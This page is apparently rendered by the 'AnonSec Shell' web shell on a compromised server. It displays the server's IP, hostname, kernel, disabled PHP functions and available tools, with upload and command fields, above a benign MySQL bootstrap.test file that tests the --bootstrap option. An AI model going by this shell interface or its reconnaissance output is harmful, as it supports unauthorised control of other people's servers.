AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/t/bootstrap.test
# Embedded server doesn't support restarting.
--source include/not_embedded.inc

# Prepare MYSQLD_DATADIR and MYSQLD_BOOTSTRAP_CMD.
# Add the datadir to the bootstrap command.
--let $MYSQLD_DATADIR = `SELECT @@datadir`
--let $MYSQLD_BOOTSTRAP_CMD = $MYSQLD_BOOTSTRAP_CMD --datadir=$MYSQLD_DATADIR --default-storage-engine=MyISAM --default-tmp-storage-engine=MyISAM

###########################################################################
# 1. Check that --bootstrap reads from stdin
###########################################################################

# Stop server
--source include/shutdown_mysqld.inc

--write_file $MYSQLTEST_VARDIR/tmp/bootstrap_test.sql
USE test;
CREATE TABLE t1(a INT);
EOF

--exec $MYSQLD_BOOTSTRAP_CMD < $MYSQLTEST_VARDIR/tmp/bootstrap_test.sql >> $MYSQLTEST_VARDIR/tmp/bootstrap.log 2>&1

--remove_file $MYSQLTEST_VARDIR/tmp/bootstrap_test.sql

###########################################################################
# 2. Check that --bootstrap of file with SQL error returns error
###########################################################################

--write_file $MYSQLTEST_VARDIR/tmp/bootstrap_error.sql
USE test;
CREATE TABLE t2;
EOF

--error 1
--exec $MYSQLD_BOOTSTRAP_CMD  < $MYSQLTEST_VARDIR/tmp/bootstrap_error.sql >> $MYSQLTEST_VARDIR/tmp/bootstrap.log 2>&1

--remove_file $MYSQLTEST_VARDIR/tmp/bootstrap_error.sql

# Start server
--source include/start_mysqld.inc

# Drop t1 from the previous test (1).
DROP TABLE t1;

# Table t2 should not exists
--error ER_BAD_TABLE_ERROR
DROP TABLE t2;

###########################################################################
# 3. Bootstrap with a query larger than 2*thd->net.max_packet
###########################################################################

# Prepare a long query.
# NOTE: no need to save max_allowed_packet value as the server will be restarted.

SET @@global.max_allowed_packet = 100 * @@global.max_allowed_packet;

CREATE TABLE t1 SELECT 2 AS a, CONCAT(REPEAT('MySQL', @@max_allowed_packet/10), ';') AS b;

--replace_result $MYSQLTEST_VARDIR VARDIR
--eval SELECT * INTO OUTFILE '$MYSQLTEST_VARDIR/tmp/long_query.sql' FROM t1

# Stop server
--source include/shutdown_mysqld.inc

--error 1
--exec $MYSQLD_BOOTSTRAP_CMD < $MYSQLTEST_VARDIR/tmp/long_query.sql >> $MYSQLTEST_VARDIR/tmp/bootstrap.log 2>&1

--remove_file $MYSQLTEST_VARDIR/tmp/long_query.sql

# Start server
--source include/start_mysqld.inc

SHOW CREATE TABLE t1;
SELECT a, LENGTH(b) FROM t1;

DROP TABLE t1;
--remove_file $MYSQLTEST_VARDIR/tmp/bootstrap.log

Anon7 - 2022
AnonSec Team